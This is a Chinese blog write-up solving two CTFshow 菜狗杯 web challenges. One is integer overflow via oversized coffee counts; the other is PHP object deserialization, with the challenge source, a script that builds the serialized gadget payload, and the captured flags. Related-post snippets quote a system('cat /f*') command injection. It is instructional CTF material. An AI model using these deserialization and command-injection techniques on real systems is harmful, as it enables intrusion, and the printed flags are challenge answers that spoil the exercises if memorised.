CTFshow-菜狗杯-茶歇区-小舔田

CTFshow 菜狗 部分wp ctfshow 菜狗 web部分练习(暂时不全) 阅读详情

茶歇区

题目来源

CTFshow-菜狗杯-WEB

题目考点

多次整数溢出

解题思路

通过整数溢出,拿到flag

解题过程

打开题目链接,得到如下界面,不是很明白题目,貌似是整数溢出漏洞利用;

首先我们需要了解各种数据类型对应的取值范围:

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807 

在打开题目页面的咖啡的数量处,输入99999999999999999999,提交

在这里插入图片描述

提交后得到如下反馈

在这里插入图片描述


根据反馈的数字922…807,可以判断为int64,当然一般情况都是int64,这里存在一个疑点,为什么我们传的值已经明显大于9223372036854775807,但是为什么获得的积分是0?

因此当我再次传递999999999999999999时,提示如下

在这里插入图片描述

再次传递999999999999999999时,得到flag

在这里插入图片描述

ctfshow{01be7e5c-4519-4968-9965-a7e821483763}

小舔田

题目来源

CTFshow-菜狗杯-WEB

题目考点

PHP反序列化、对象作属性使用的函数调用

题目源码

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

解题思路

利用PHP反序列化漏洞,得到flag

解题过程

php序列化,最终的利用点在

echo $flag;

该语句在call函数中,找到调用call函数的地方,显然,是Ion_Fan_Princess类中的tostring方法了,那么想要调用tostring函数,可以利用上面类中的tostring方法,使得$this->name的值为Ion_Fan_Princess对象时,在wakeup方法中触发tostring方法;那么就形成了序列化链;

构造反序列化程序

class Moon{
    public $name;
    public function __toString(){
        return $this->name;
    }

    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }

    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}
$a=new Moon();
$W=new Ion_Fan_Princess();
$a->name=$W;
echo serialize($a);

执行程序,得到输出结果

O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

发送请求,得到flag

在这里插入图片描述

ctfshow{968090ea-a3ca-4d7f-a311-9694a614cce6}

CTFSHOW 菜狗田? 解题思路和方法 s:9:"小甜甜";点击题目链接,发现页面上的php代码,F12并未发现有用信息。 阅读详情

相关推荐

CTFshow-菜狗-misc(1-6)

从标题看起来这个题就不仅仅会使用一种隐写方式了,不要慌,起码他是个能正常打开的图了;发现得到的数据并没有什么特征,那应该就不是了。

qq_47804678的博客 5859

CTFshow 菜狗-Web方向WriteUp

本文章主要是博主刷的题目+题解,供参考:)题单来自CTFshow 菜狗

2403_88201698的博客 271

CTFshow 2022 菜狗 WEB WP补充

得到源码,分析发现push会将自定义内容md5加密之后作为文件名上传到/plugins/目录上,内容可控。先给number2赋字母,会出现一个报错界面,给number1和operator赋的话会提示错误,应该是这两个参数有过滤,而number2没有。在控制台输入Game回车,把score修改,然后回到游戏点击开始,只要吃掉一个苹果你就会发现分数已经修改成功。分析源码,发现它将文件名拼接到了cmd里,没有进行任何过滤,可以在文件后传入命令。flag=0,发现内容为空,尝试把flag=0改为1,得到。

starttv的博客 2334

CTF秀--菜狗

再使$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]=system("cat /f*"),查看f开头的文件内容。令_GET=a,则有:$key=_GET,$value=a,有:$$key=$_GET=$$value=$a,可知使用GET传入_GET=flag可以得到flag。令cookie中传入CTFshow-QQ群:=a,则有$_POST['a'],令post中传入a=b,则有$_GET['b']。

m0_59022585的博客 7254

ctfshow(菜狗

这样的话cookie传入 =a ,然后破石头 a=b ,get b=c,request可以接收post和get请求,最后c因为用数组传参所以要带上后面的东西。这道题其实,看if($arr[]=1)这个等于号,是一个所以这是一个赋值的操作,肯定为true会进行die的操作,所以0=1随便赋值。然后input=加密传参,action=test,但是这里一直没成功,弄了好久才发现+被过滤掉了,需要一层的url 编码。的个数,%4e这样的形式只占用一个字节,是统计 a=%4e统计等号的右边。

qq_62046696的博客 7344

CTFshow-菜狗-茶歇

题目发现直接根据FP拿根本不可能拿到分数,于是准备查找代码,但是没有发现记录分数的参数。由于全部都是通过整数来计算和提交,想到了整数溢出问题。不同整数类型对应的范围。

m0_53669634的博客 525

CTFshow 菜狗 web方向 全

CTFshow 菜狗 web方向 全

Jay17的博客 7326

ctfshow 菜狗wp

ctfshow 菜狗 wp

m0_64815693的博客 5814

ctfshow菜狗】wp

ctfshow菜狗】wp

leekos的博客,分享web安全相关知识~ 3580

ctfshow菜狗】misc

ctfshow菜狗】misc

leekos的博客,分享web安全相关知识~ 3405

ctfshow-菜狗-WEB-wp

ctfshow-菜狗-WEB-wp

F1rstb100d 1965

CTFSHOW 菜狗 茶歇 解题思路和方法

提交后发现弹出了信息 “你拿了9223372036854775807瓶咖啡,总计获得0分!”,发现数据确实溢出,而且物品数目的最大值:9223372036854775807。点击题目链接,发现出现一个计分板页面,完成题目的条件是得分超过114514,但是FTP余额只有1024,故正常游戏无法获得flag。同时在js代码中也未找到与score有关的参数名,这意味着我们不能通过代码审计的方式完成该题。再次使用9999...999,进行多次提交,直到弹出flag。发现当前得分和FP余额被修改,同时弹出信息。

weixin_58052886的博客 621

ctfshow 愚人&菜狗部分题目(flasksession伪造&ssti)

flask-session伪造 + 无过滤ssti命令执行 + php整数溢出

weixin_63231007的博客 2445

ctfshow菜狗wp2(新手必刷)(Web部分)

ctfshow菜狗wp--web部分

yihan小白的博客 1070

CTFshow菜狗-misc-wp(详解 脚本 过程 全)

CTFshow菜狗-misc-wp(详解 脚本 过程 全) 所以misc 杂项签到 损坏的压缩包 谜之栅栏 你会数数吗 你会异或吗flag一分为二 我是谁?? You and me 7.1.05 黑丝白丝还有什么丝? 我吐了你随意这是个什么文件? 抽象画 迅疾响应 我可没有骗你 你被骗了 一闪一闪亮晶晶 一层一层一层地剥开我的◇ 打不开的图片

路baby的博客 1万+

CTFSHOW——菜狗

CTFSHOW——菜狗题解(更新中)

asmartrman的博客 2119

ctfshow-菜狗-web(一)

_REQUEST[c][6][0][7][5][8][0][9][4][4],其中$_REQUEST是以任何一种方式请求都可以,c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值。eval()函数中的还是变量嵌套(刚开始以为只需要传最后一个$_的值就好了,没想到是不停的变量嵌套),注意都到在POST中传入。首先是给$_赋值:_=a,再给$a赋值,a=b······以此类推一共有36个$,需要赋值36次。于是我们用POST形式发包,

qq_47804678的博客 3397
上一篇: CTFshow-菜狗杯-传说之下(雾)-easyPytHon_P
下一篇: CTFshow-菜狗杯-LSB探姬-Is_Not_Obfuscate
白泽安全
博客等级 码龄11年 4粉丝 20原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值